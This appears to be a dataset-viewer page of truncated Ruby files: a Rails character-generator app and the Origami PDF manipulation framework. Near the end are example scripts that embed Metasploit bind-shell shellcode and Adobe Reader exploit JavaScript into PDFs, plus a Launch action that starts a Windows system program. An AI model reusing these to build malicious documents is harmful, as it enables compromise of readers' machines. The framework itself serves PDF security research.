code stringlengths 1 1.73M | language stringclasses 1
value |
|---|---|
class BirthrightsController < ApplicationController
load_and_authorize_resource
def index
@birthrights = Birthright.all
end
def show
end
def new
end
def create
if @birthright.save
flash[:notice] = "Successfully created birthright."
redirect_to @birthright
else
re... | Ruby |
class ApplicationController < ActionController::Base
protect_from_forgery
layout 'application'
rescue_from CanCan::AccessDenied do |exception|
flash[:error] = "Access Denied."
redirect_to root_url
end
end
| Ruby |
class OriginPathsController < ApplicationController
load_and_authorize_resource
def index
@origin_paths = OriginPath.all
end
def show
end
def new
end
def create
if @origin_path.save
flash[:notice] = "Successfully created origin path."
redirect_to @origin_path
else
... | Ruby |
class HomeWorldsController < ApplicationController
load_and_authorize_resource
def index
@home_worlds = HomeWorld.all
end
def show
end
def new
end
def create
if @home_world.save
flash[:notice] = "Successfully created home world."
redirect_to @home_world
else
rend... | Ruby |
class LureOfTheVoidsController < ApplicationController
load_and_authorize_resource
def index
@lure_of_the_voids = LureOfTheVoid.all
end
def show
end
def new
end
def create
if @lure_of_the_void.save
flash[:notice] = "Successfully created lure of the void."
redirect_to @lure... | Ruby |
class RolesController < ApplicationController
load_and_authorize_resource
def index
@roles = Role.all
end
def show
end
def new
end
def create
if @role.save
flash[:notice] = "Successfully created role."
redirect_to @role
else
render :action => 'new'
end
end
... | Ruby |
class MotivationsController < ApplicationController
load_and_authorize_resource
def index
@motivations = Motivation.all
end
def show
end
def new
end
def create
if @motivation.save
flash[:notice] = "Successfully created motivation."
redirect_to @motivation
else
re... | Ruby |
class CareersController < ApplicationController
load_and_authorize_resource
def index
@careers = Career.all
end
def show
end
def new
end
def create
if @career.save
flash[:notice] = "Successfully created career."
redirect_to @career
else
render :action => 'new'
... | Ruby |
class TrialsAndTravailsController < ApplicationController
load_and_authorize_resource
def index
@trials_and_travails = TrialsAndTravails.all
end
def show
end
def new
end
def create
if @trials_and_travails.save
flash[:notice] = "Successfully created trials and travails."
re... | Ruby |
# Be sure to restart your server when you modify this file.
# Add new inflection rules using the following format
# (all these examples are active by default):
# ActiveSupport::Inflector.inflections do |inflect|
# inflect.plural /^(ox)$/i, '\1en'
# inflect.singular /^(ox)en/i, '\1'
# inflect.irregular 'person',... | Ruby |
require 'formtastic'
ActionView::Base.send :include, Formtastic::SemanticFormHelper
# Set the default text field size when input is a string. Default is 50.
# Formtastic::SemanticFormBuilder.default_text_field_size = 50
# Set the default text area height when input is a text. Default is 20.
# Formtastic::SemanticForm... | Ruby |
# Be sure to restart your server when you modify this file.
# You can add backtrace silencers for libraries that you're using but don't wish to see in your backtraces.
# Rails.backtrace_cleaner.add_silencer { |line| line =~ /my_noisy_library/ }
# You can also remove all the silencers if you're trying to debug a probl... | Ruby |
# Be sure to restart your server when you modify this file.
# Your secret key for verifying the integrity of signed cookies.
# If you change this key, all old signed cookies will become invalid!
# Make sure the secret is at least 30 characters and all random,
# no regular words or you'll be exposed to dictionary atta... | Ruby |
# Be sure to restart your server when you modify this file.
# Add new mime types for use in respond_to blocks:
# Mime::Type.register "text/richtext", :rtf
# Mime::Type.register_alias "text/html", :iphone
| Ruby |
# Be sure to restart your server when you modify this file.
Rails.application.config.session_store :cookie_store, :key => '_rtcg_session'
# Use the database for sessions instead of the cookie-based default,
# which shouldn't be used to store highly confidential information
# (create the session table with "rake db:se... | Ruby |
# Use this hook to configure devise mailer, warden hooks and so forth. The first
# four configuration values can also be set straight in your models.
Devise.setup do |config|
# ==> Mailer Configuration
# Configure the e-mail address which will be shown in DeviseMailer.
config.mailer_sender = "please-change-me@con... | Ruby |
Rtcg::Application.routes.draw do |map|
resources :careers
resources :motivations
resources :trials_and_travails
resources :birthrights
resources :lure_of_the_voids
resources :home_worlds
resources :characters
resources :roles
devise_for :users
# The priority is based upon order of creation:... | Ruby |
require 'rubygems'
# Set up gems listed in the Gemfile.
gemfile = File.expand_path('../../Gemfile', __FILE__)
begin
ENV['BUNDLE_GEMFILE'] = gemfile
require 'bundler'
Bundler.setup
rescue Bundler::GemNotFound => e
STDERR.puts e.message
STDERR.puts "Try running `bundle install`."
exit!
end if File.exist?(gem... | Ruby |
require File.expand_path('../boot', __FILE__)
require 'rails/all'
# If you have a Gemfile, require the gems listed there, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(:default, Rails.env) if defined?(Bundler)
module Rtcg
class Application < Rails::Application
# Se... | Ruby |
# Load the rails application
require File.expand_path('../application', __FILE__)
# Initialize the rails application
Rtcg::Application.initialize!
| Ruby |
Rtcg::Application.configure do
# Settings specified here will take precedence over those in config/environment.rb
# The production environment is meant for finished, "live" apps.
# Code is not reloaded between requests
config.cache_classes = true
# Full error reports are disabled and caching is turned on
... | Ruby |
Rtcg::Application.configure do
# Settings specified here will take precedence over those in config/environment.rb
# In the development environment your application's code is reloaded on
# every request. This slows down response time but is perfect for development
# since you don't have to restart the webserve... | Ruby |
Rtcg::Application.configure do
# Settings specified here will take precedence over those in config/environment.rb
# The test environment is used exclusively to run your application's
# test suite. You never need to work with it otherwise. Remember that
# your test database is "scratch space" for the test sui... | Ruby |
# This file is used by Rack-based servers to start the application.
require ::File.expand_path('../config/environment', __FILE__)
run Rtcg::Application
| Ruby |
# Add your own tasks in files placed in lib/tasks ending in .rake,
# for example lib/tasks/capistrano.rake, and they will automatically be available to Rake.
require File.expand_path('../config/application', __FILE__)
require 'rake'
Rails::Application.load_tasks
| Ruby |
=begin
= File
xdp.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as ... | Ruby |
=begin
= File
widgets.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License... | Ruby |
=begin
= File
patterns.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public Licens... | Ruby |
# encoding: UTF-8
require 'rubygems'
require 'rdoc/task'
require 'rake/testtask'
require 'rubygems/package_task'
spec = Gem::Specification.new do |s|
s.name = "origami"
s.version = "1.2.6"
s.author = "Guillaume Delugre"
s.email = "guillaume at security-labs dot org"
s.homepage = "http://... | Ruby |
=begin
= File
outline.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public ... | Ruby |
=begin
= File
string.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public Li... | Ruby |
=begin
= File
graphics.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public... | Ruby |
=begin
= File
page.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public Lice... | Ruby |
=begin
= File
formats/fdf.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General P... | Ruby |
=begin
= File
formats/ppklite.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser Gener... | Ruby |
=begin
= File
name.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public Lic... | Ruby |
=begin
= File
3d.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public Licen... | Ruby |
=begin
= File
encryption.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume DelugrÈ <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Publ... | Ruby |
=begin
= File
header.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public L... | Ruby |
=begin
= File
boolean.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume DelugrÈ <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public ... | Ruby |
=begin
= File
signature.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public... | Ruby |
=begin
= File
javascript.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Pu... | Ruby |
=begin
= File
dictionary.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume DelugrÈ <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Publi... | Ruby |
=begin
= File
pdf.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public Licen... | Ruby |
=begin
= File
acroform.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public... | Ruby |
=begin
= File
functions.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Publi... | Ruby |
=begin
= File
xreftable.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public... | Ruby |
=begin
= File
outputintents.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Pu... | Ruby |
=begin
= File
font.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public Lic... | Ruby |
=begin
= File
object.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public Li... | Ruby |
=begin
= File
catalog.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume DelugrÈ <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public ... | Ruby |
=begin
= File
parser.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public Li... | Ruby |
=begin
= File
webcapture.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Publi... | Ruby |
=begin
= File
stream.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public Li... | Ruby |
=begin
= File
array.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume DelugrÈ <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public Li... | Ruby |
=begin
= File
filters.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public ... | Ruby |
=begin
= File
null.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public Lic... | Ruby |
=begin
= File
numeric.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public L... | Ruby |
module Origami
module Obfuscator
WHITECHARS = [ " ", "\t", "\r", "\n", "\0" ]
OBJECTS = [ Array, Boolean, Dictionary, Integer, Name, Null, Stream, String, Real, Reference ]
MAX_INT = 0xFFFFFFFF
PRINTABLE = ("!".."9").to_a + (':'..'Z').to_a + ('['..'z').to_a + ('{'..'~').to_a
FILTERS = [ :FlateD... | Ruby |
=begin
= File
destinations.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume DelugrÈ <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Pu... | Ruby |
=begin
= File
actions.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Publi... | Ruby |
=begin
= File
reference.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public... | Ruby |
=begin
= File
file.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public Lic... | Ruby |
=begin
= File
filters/ccitt.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General P... | Ruby |
=begin
= File
filters/ascii.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General P... | Ruby |
=begin
= File
filters/jpx.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Pub... | Ruby |
=begin
= File
filters/runlength.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser Gener... | Ruby |
=begin
= File
filters/lzw.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Pub... | Ruby |
=begin
= File
filters/crypt.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General P... | Ruby |
=begin
= File
filters/jbig2.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General P... | Ruby |
=begin
= File
filters/predictors.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser Gene... | Ruby |
=begin
= File
filters/dct.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Pub... | Ruby |
=begin
= File
filters/flate.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General P... | Ruby |
=begin
= File
linearization.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General P... | Ruby |
=begin
= File
metadata.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public... | Ruby |
=begin
= File
trailer.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public L... | Ruby |
=begin
= File
annotations.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume DelugrÈ <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Pub... | Ruby |
=begin
= File
graphics/colors.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General... | Ruby |
=begin
= File
graphics/text.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General P... | Ruby |
=begin
= File
graphics/render.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General... | Ruby |
=begin
= File
graphics/state.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General ... | Ruby |
=begin
= File
graphics/xobject.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser Genera... | Ruby |
=begin
= File
graphics/path.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General P... | Ruby |
=begin
= File
graphics/instruction.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser Ge... | Ruby |
=begin
= File
graphics/patterns.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser Gener... | Ruby |
=begin
= File
parsers/fdf.rb
= Info
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Origami is distributed in the... | Ruby |
=begin
= File
parsers/linear.rb
= Info
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Origami is distributed in ... | Ruby |
=begin
= File
parsers/pdf.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Pub... | Ruby |
=begin
= File
parsers/ppklite.rb
= Info
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Origami is distributed in... | Ruby |
=begin
= File
xfa.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public Lice... | Ruby |
=begin
= File
export.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume DelugrÈ <guillaume AT security-labs DOT org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public L... | Ruby |
=begin
= File
origami.rb
= Info
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Origami is distributed in the hop... | Ruby |
#!/usr/bin/env ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
$: << ORIGAMIDIR
require 'origami'
end
include Origami
INPUTFILE = "attached.txt"
OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
puts "Now generating a new PDF file from scratch!"
# Creatin... | Ruby |
#!/usr/bin/env ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
$: << ORIGAMIDIR
require 'origami'
end
include Origami
INPUTFILE = "helloworld.swf"
OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
puts "Now generating a new PDF file from scratch!"
# Creat... | Ruby |
#!/usr/bin/ruby
require 'openssl'
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
$: << ORIGAMIDIR
require 'origami'
end
include Origami
OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
CERTFILE = "test.crt"
RSAKEYFILE = "test.key"
contents = ContentStream.ne... | Ruby |
#!/usr/bin/env ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
$: << ORIGAMIDIR
require 'origami'
end
include Origami
pdf = PDF.read(ARGV[0])
# win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com
win32_bin = "%u03eb%ueb59%ue805... | Ruby |
#!/usr/bin/env ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
$: << ORIGAMIDIR
require 'origami'
end
include Origami
pdf = PDF.read(ARGV[0])
jscript = %Q|
//##############
//Exploit made by Arr1val
//Proved in adobe 9.1 and adobe 8.1.4 on linux
//
//Steps:
/... | Ruby |
#!/usr/bin/env ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
$: << ORIGAMIDIR
require 'origami'
end
include Origami
pdf = PDF.read(ARGV[0])
jscript = %Q|
//##############
//Exploit made by Arr1val
//Proved in adobe 9.1 and adobe 8.1.4 on linux
//###########... | Ruby |
#!/usr/bin/ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
$: << ORIGAMIDIR
require 'origami'
end
include Origami
OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
params = Action::Launch::WindowsLaunchParams.new
params.F = "C:\\\\WINDOWS\\\\system32\\\... | Ruby |
#!/usr/bin/env ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
$: << ORIGAMIDIR
require 'origami'
end
include Origami
pdf = PDF.read("sample.pdf", :verbosity => Parser::VERBOSE_DEBUG )
index = 1
pages = pdf.pages
pages.each do |page|
page.onOpen Action::... | Ruby |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.